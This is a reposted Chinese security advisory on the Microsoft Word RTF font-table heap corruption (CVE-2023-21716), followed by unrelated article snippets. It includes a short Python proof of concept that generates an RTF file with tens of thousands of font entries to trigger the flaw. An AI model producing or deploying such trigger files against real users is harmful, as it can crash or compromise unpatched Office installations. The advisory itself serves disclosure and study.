当前位置: 首页 > news >正文

Microsoft Word 远程代码执行漏洞(CVE-2023-21716)

本文转载于:
https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247485476&idx=1&sn=eee5c7fd1c4855be6441b8933b10051e&chksm=ec535547db24dc516d013d3d76097e985aaad7f10f82f15b4e355a97af75fd333acdab6232af&mpshare=1&scene=23&srcid=03132cVLSBcqUx3ZIkRZSiLq&sharer_sharetime=1678687529943&sharer_shareid=e065963f591f1d96b07207551473e96d#rd

免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

漏洞简述

Microsoft Word是Microsoft Office附带的文字处理应用程序。在默认安装中,Microsoft Word处理富文本格式(RTF)文档。这些文档主要由基于7位ASCII的关键字组成,这些关键字一起可以封装各种丰富的内容。
Microsoft Word中的RTF解析器在处理包含过多字体 (\f###) 的字体表 (*\fonttbl *)时会触发堆损坏漏洞。

受影响版本

Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
Microsoft Office 2016 (Including Insider Slow - 1704 Build 8067.2032 CTR)
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

漏洞信息

堆溢出漏洞产生点在于:Microsoft Word中的RTF解析器在处理字体表(\fonttbl)包含过量字体(\f###)。当处理字体时,字体id值(a \f后面的字符)由以下代码处理:

{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; 
load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; 
load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; 
multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; 
load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; 
write the code page {% endhighlight %}

漏洞防护

目前微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁,建议受影响用户开启系统自动更新安装补丁进行防护。

测试Tips

python3

#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#import sys# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:num = int(sys.argv[1])f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()

相关文章:

Microsoft Word 远程代码执行漏洞(CVE-2023-21716)

本文转载于: https://mp.weixin.qq.com/s?__bizMzI5NTUzNzY3Ng&mid2247485476&idx1&sneee5c7fd1c4855be6441b8933b10051e&chksmec535547db24dc516d013d3d76097e985aaad7f10f82f15b4e355a97af75fd333acdab6232af&mpshare1&scene23&srci…...

Android kotlin 系列讲解(数据篇)SharedPreferences存储及测试

文章目录 一、什么是SharedPreferences1、将数据存储到SharedPreferences中2、从SharedPreferences中读取数据二、登录使用SharedPreferences一、什么是SharedPreferences SharedPreferences是使用键值对的方式来存储数据的。也就是说,当保存一条数据的时候,需要给这条数据提…...

一文了解Web Worker

一、概述 众所周知,JavaScript最初设计是运行在浏览器中的,为了防止多个线程同时操作DOM带来的渲染冲突问题,所以JavaScript执行器被设计成单线程。但是随着前端技术的发展,JavaScript要处理的工作也越来越复杂,当我们…...

接口文档包含哪些内容?怎么才能写好接口文档?十年测试老司机来告诉你

目录 接口文档结构 参数说明 示例 错误码说明 语言基调通俗易懂 及时更新与维护 总结 那么我们该如何写好一份优秀的接口文档呢? 接口文档结构 首先我们要知道文档结构是什么样子的。接口文档应该有清晰明确的结构,以便开发人员能快速定位自己需…...

java面试八股文之------Java并发夺命23问

java面试八股文之------Java并发夺命23问👨‍🎓1.java中线程的真正实现方式👨‍🎓2.java中线程的真正状态👨‍🎓3.如何正确停止线程👨‍🎓4.java中sleep和wait的区别👨‍…...

CANoe中使用CAPL刷写流程详解(Trace图解)(CAN总线)

🍅 我是蚂蚁小兵,专注于车载诊断领域,尤其擅长于对CANoe工具的使用🍅 寻找组织 ,答疑解惑,摸鱼聊天,博客源码,点击加入👉【相亲相爱一家人】🍅 玩转CANoe&…...

【MySQL】002 -- 日志系统:一条SQL更新语句是如何执行的

此文章为《MySQL 实战 45 讲》的学习笔记,其课程链接可参见:MySQL实战45讲_MySQL_数据库-极客时间 目录 一、日志系统 1、重做日志:redo log(引擎层) 2、归档日记:binlog(Server层) …...

C++---背包模型---数字组合(每日一道算法2023.3.14)

注意事项: 本题是"动态规划—01背包"的扩展题,优化思路不多赘述,dp思路会稍有不同,下面详细讲解。 题目: 给定 N个正整数 A1,A2,…,AN,从中选出若干个数,使它们的和为 M,…...

并查集(不相交集)详解

目录 一.并查集 1.什么是并查集 2.并查集的基本操作 3.并查集的应用 4.力扣上的题目 二.三大操作 1.初始化 2.查找 3.合并 三.省份数量 1.题目描述 2.问题分析 3.代码实现 四.冗余连接 1.题目描述 2.问题分析 3.代码实现 一.并查集 1.什么是并查集 并查集&…...

10个最频繁用于解释机器学习模型的 Python 库

文章目录什么是XAI?可解释性实践的步骤技术交流1、SHAP2、LIME3、Eli54、Shapash5、Anchors6、BreakDown7、Interpret-Text8、aix360 (AI Explainability 360)9、OmniXAI10、XAI (eXplainable AI)XAI的目标是为模型的行为和决定提供有意义的解释,本文整理…...

final关键字:我偏不让你继承

哈喽,小伙伴们大家好,我是兔哥呀,今天就让我们继续这个JavaSE成神之路! 这一节啊,咱们要学习的内容是Java所有final关键字。 之前呢,我们学习了继承,这大大提高了代码的灵活性和复用性。但是总…...

8大主流编程语言的适用领域,你可能选错了语言

很多人学编程经常是脑子一热然后就去网上一搜资源就开始学习了,但学到了后面发现目前所学的东西并不是自己最喜欢的,好像自己更喜欢另一个技术,感觉自己学错了,于是乎又去学习别的东西。 结果竹篮打水一场空,前面所付…...

关于Python库的问题

关于Python库的问题 问题1: ModuleNotFoundError: No module named ‘requests’ Python库 Pycharm使用Requests库时报错: No module named requests’解决方法 未安装requests库,使用"pip install requests"命令安装 依然提示P…...

好记性不如烂笔头(2)

概述:用来记录一些小技巧。 1.查看MyBatis执行的sql 类:org.apache.ibatis.mapping.MappedStatement方法:getBoundSql(Object parameterObject)在IDEA的Evaluate Expression查看sql:boundSql.getSql() 2.maven仓库地址为https&…...

Java for循环嵌套for循环,你需要懂的代码性能优化技巧

前言 本篇分析的技巧点其实是比较常见的,但是最近的几次的代码评审还是发现有不少兄弟没注意到。 所以还是想拿出来说下。 正文 是个什么场景呢? 就是 for循环 里面还有 for循环, 然后做一些数据匹配、处理 这种场景。 我们结合实例代码来…...

关于我拒绝了腾讯测试开发岗offer这件事

2022年刚开始有了向要跳槽的想法,之前的公司不能算大厂但在重庆也算是数一数二。开始跳槽的的时候我其实挺犹豫的 其实说是有跳槽的想法在2022年过年的时候就有了,因为每年公司3月会有涨薪的机会,所以想着看看那能不能涨(其实还是…...

从GPT到GPT-3:自然语言处理领域的prompt方法

❤️觉得内容不错的话,欢迎点赞收藏加关注😊😊😊,后续会继续输入更多优质内容❤️👉有问题欢迎大家加关注私戳或者评论(包括但不限于NLP算法相关,linux学习相关,读研读博…...

Git代码提交规范

Git 代码规范Git 每次提交代码,都是需要写 Commit message(提交说明),否则就不允许提交。Commit message 的格式 (三部分):Heaher ----- 必填type ---必需scope --- 可选subject --- 必需Body ---- 可省略Footer ---- …...

【JavaScript速成之路】JavaScript内置对象--Math和Date对象

📃个人主页:「小杨」的csdn博客 🔥系列专栏:【JavaScript速成之路】 🐳希望大家多多支持🥰一起进步呀! 文章目录前言1,Math对象1.1,常用属性方法1.1.1,获取x的…...

(自用POC)Fortinet-CVE-2022-40684

本文转载于:https://mp.weixin.qq.com/s?__bizMzIzNDU5Mzk2OQ&mid2247485332&idx1&sn85931aa474f1ae2c23a66bf6486eec63&chksme8f54c4adf82c55c44bc7b1ea919d44d377e35a18c74f83a15e6e20ec6c7bc65965dbc70130d&mpshare1&scene23&srcid…...

开源STK插件模块大全:提升你的空天地一体化仿真效率

开源STK插件模块大全:提升空天地一体化仿真效率的实战指南 如果你已经熟悉STK的基础操作,却还在为复杂的星座仿真流程和有限的分析功能而头疼,那么开源插件模块将成为你的效率倍增器。本文将带你深入探索那些被专业用户私藏的工具箱&#xff…...

2026年高性价比个人网盘盘点:告别“空间焦虑”,谁才是真正的效率神器?

在预算有限的情况下寻找个人网盘,大多数人的第一反应是打开计算器,算出“每 GB 只要几分钱”。但作为一个在存储行业摸爬滚打多年的老兵,我要告诉你一个反直觉的事实:对于 90% 的办公族和学生来说,网盘的“空间大小”是…...

OpenClaw+nanobot学术助手:文献自动归类与摘要生成

OpenClawnanobot学术助手:文献自动归类与摘要生成 1. 为什么需要自动化文献管理工具 作为一名经常需要阅读大量论文的研究者,我长期被文献管理问题困扰。电脑里堆积如山的PDF文件,每次需要查找特定内容时都要花费大量时间翻找。更痛苦的是&…...

手把手教你用LTspice仿真DAB双有源桥DC-DC变换器(单移相SPS控制篇)

从零开始用LTspice仿真DAB变换器:单移相控制实战指南 在电力电子领域,双有源桥(DAB)DC-DC变换器因其高效率、双向功率流和电气隔离特性,成为新能源系统、电动汽车充电和直流微电网中的关键组件。但对于初学者来说&…...

复杂网络演化博弈代码:从nw小世界网络到互动创新社区知识共享研究

复杂网络演化博弈代码 nw小世界网络 复现文章 基于网络演化博弈的互动创新社区用户 知识共享行为影响因素研究 An evolutionary analysis on the effect of government policies on electric vehicle diffusion in complex network ()最近在研究一些关于复杂网络演化博弈的有趣…...

Cogito-3B量化部署实测:GTX1650/RTX3050/RTX4060不同显卡配置对比

Cogito-3B量化部署实测:GTX1650/RTX3050/RTX4060不同显卡配置对比 1. 测试背景与目标 Cogito-v1-preview-llama-3B作为一款性能出色的3B参数混合推理模型,在实际部署中面临显存占用的挑战。本次测试旨在评估该模型在不同消费级显卡上的量化部署表现&am…...

飞书机器人深度集成:OpenClaw+Qwen3-32B-Chat智能问答系统搭建

飞书机器人深度集成:OpenClawQwen3-32B-Chat智能问答系统搭建 1. 项目背景与需求拆解 去年底接手了一个技术团队的知识库建设项目,需要为百人规模的研发团队搭建一个智能问答系统。核心诉求是:通过飞书机器人接口,让成员能快速查…...

UVM避坑指南:为什么你的sequence卡住了?item_done没调用的常见问题排查

UVM验证中的sequence卡死问题:item_done未调用的深度排查手册 在芯片验证领域,UVM框架的sequence机制堪称验证工程师的"瑞士军刀",但这把利器偶尔也会出现卡壳的情况。想象一下这样的场景:你的验证环境已经运行了数百个…...

开发环境神器:OpenClaw+GLM-4.7-Flash自动补全错误日志解决方案

开发环境神器:OpenClawGLM-4.7-Flash自动补全错误日志解决方案 1. 为什么需要日志自动诊断系统 作为一个长期与开发环境打交道的程序员,我每天要面对数百行日志输出。最头疼的场景莫过于:当你在IDE中调试时,突然蹦出一段晦涩的错…...

从Python调包侠到量化研究员:我的3年转型踩坑实录与学习路线图

从Python调包侠到量化研究员:我的3年转型踩坑实录与学习路线图 三年前,我还是一名只会用Python调包的数据工程师,每天的工作就是清洗数据、跑模型、生成报表。直到某次聚会上,一位在私募基金做量化的朋友随口提了句"我们组去…...